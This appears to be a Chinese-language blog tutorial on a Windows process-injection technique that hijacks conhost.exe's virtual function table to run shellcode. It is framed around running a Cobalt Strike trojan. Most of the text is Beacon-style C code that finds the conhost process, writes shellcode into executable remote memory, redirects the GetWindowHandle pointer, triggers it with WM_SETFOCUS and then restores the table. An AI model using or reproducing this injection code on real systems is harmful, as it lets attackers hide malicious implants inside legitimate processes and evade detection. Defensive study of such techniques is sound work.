简介
在Windows7和之后的版本中,Microsoft引入了conhost.exe
来处理控制台窗口的渲染。比如当你在powershell中运行CS木马,Windows会自动启动一个conhost.exe
进程来处理这个powershell.exe
,这两个进程之间存在某种关联,即conhost.exe
的父进程就是powershell.exe
此技术的核心是利用conhost.exe
的虚拟函数表(vftable)来实现进程注入。vftable是一个函数指针数组,用于支持C++的虚拟函数。通过修改vftable中的某些函数指针,可以使它们指向攻击者的恶意代码,从而在函数被调用时执行该代码
实现流程
1.定义虚函数表结构体
首先定义了一个结构体ConsoleWindow
, 这是一个虚函数表(vftable)的结构,用于描述 conhost.exe
的窗口类
复制 typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
2.获取conhost进程ID
使用FindWindowsExA
函数遍历所有的ConsoleWindowClass
窗口,直到找到与目标conhost.exe进程关联的窗口句柄,然后获取该窗口的进程ID。要注意的是,这个ID是控制台应用程序(如cmd或powershell)的进程ID,而不是conhost.exe的
复制 // Loop through all the console processes trying to find our target
do
{
hWnd = USER32$FindWindowExA(NULL, hWnd, "ConsoleWindowClass", NULL);
if ( NULL == hWnd ) { break; }
USER32$GetWindowThreadProcessId(hWnd, &dwParentProcessId);
dwProcessId = GetConhostId(dwParentProcessId);
if ( 0 == dwProcessId )
{
continue;
}
internal_printf("conhost.exe PID:%lu with PPID:%lu\n", dwProcessId, dwParentProcessId);
}
while (dwProcessId != lpProcessInfo->dwProcessId);
使用GetConhostId
函数查找与控制台应用程序关联的 conhost.exe
进程,并返回其进程ID
复制 DWORD GetConhostId(DWORD dwPPid)
{
HANDLE hSnap = NULL;
PROCESSENTRY32 pe32;
DWORD dwPid = 0;
// Create a toolhelp snapshot
hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(INVALID_HANDLE_VALUE == hSnap) { goto end; }
intZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(PROCESSENTRY32);
// Get the first process
if(KERNEL32$Process32First(hSnap, &pe32))
{
do
{
// Check current process name
if ( 0 == MSVCRT$_stricmp("conhost.exe", pe32.szExeFile))
{
//internal_printf("conhost.exe found with PID:%lu and PPID:%lu\n", pe32.th32ProcessID, pe32.th32ParentProcessID);
// Is this the child of our parent process?
if (dwPPid == pe32.th32ParentProcessID )
{
// We found the conhost of our process
// Return the process ID
dwPid = pe32.th32ProcessID;
break;
}
}
} while(KERNEL32$Process32Next(hSnap, &pe32));
}
end:
if( (NULL != hSnap) && (INVALID_HANDLE_VALUE != hSnap) )
{
KERNEL32$CloseHandle(hSnap);
hSnap = NULL;
}
return dwPid;
}
3.读取vftable
通过窗口句柄获取GWLP_USERDATA
(用户定义的数据),这里存储了指向vftable的指针,随后读取目标进程的vftable至本地
复制 #ifdef _WIN64
lpUserData = (LPVOID)USER32$GetWindowLongPtrA(hWnd, GWLP_USERDATA);
#else
lpUserData = (LPVOID)USER32$GetWindowLongA(hWnd, GWLP_USERDATA);
#endif
if (NULL == lpUserData)
{
dwErrorCode = KERNEL32$GetLastError();
internal_printf("GetWindowLongPtrA failed (%lu)\n", dwErrorCode);
goto end;
}
// Read in the current vftable pointer from the remote process
dwErrorCode = NtReadVirtualMemory(
lpProcessInfo->hProcess,
lpUserData,
(LPVOID)&lpvfTable,
sizeof(LPVOID),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Read in the vftable from the remote process
intZeroMemory(&consoleWindow, sizeof(consoleWindow));
dwErrorCode = NtReadVirtualMemory(
lpProcessInfo->hProcess,
lpvfTable,
&consoleWindow,
sizeof(consoleWindow),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
4.注入shellcode
在目标进程中分配内存,将shellcode写入这块内存。
复制 // Allocate the remote shellcode buffer
RegionSize = dwShellcodeBufferSize + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteShellcodeBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Write the local shellcode to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteShellcodeBuffer,
lpShellcodeBuffer,
dwShellcodeBufferSize,
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
5.修改vftable
修改本地的vftable
结构,使其GetWindowHandle
函数指针指向存放shellcode的内存地址,再在目标进程分配内存用于存放修改后的vftable,最后将指向vftable的指针修改成修改后的vftable地址
复制 // Update the local vftable to point to the shellcode
consoleWindow.GetWindowHandle = (ULONG_PTR)lpRemoteShellcodeBuffer;
// Allocate a remote buffer for the new vftable
RegionSize = sizeof(consoleWindow) + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteVTableBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Write the local vftable to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteVTableBuffer,
&consoleWindow,
sizeof(consoleWindow),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Update the remote vftable pointer to point to the new remote vftable
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpUserData,
&lpRemoteVTableBuffer,
sizeof(ULONG_PTR),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
6.触发执行
通过发送 WM_SETFOCUS
消息到 conhost.exe
窗口,触发vftable中被修改的 GetWindowHandle
函数,从而执行Shellcode
复制 // Trigger execution
USER32$SendMessageA(hWnd, WM_SETFOCUS, 0, 0);
7.恢复原始状态
执行完Shellcode后,将vftable恢复到原始状态,以避免引起目标进程的异常或崩溃
复制 // Restore the vftable pointer in the remote process
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpUserData,
&lpvfTable,
sizeof(ULONG_PTR),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
运行测试
与内核回调表进程注入类似,当注入的进程上线后,源进程会停止通讯,直到注入进程的退出后才恢复通讯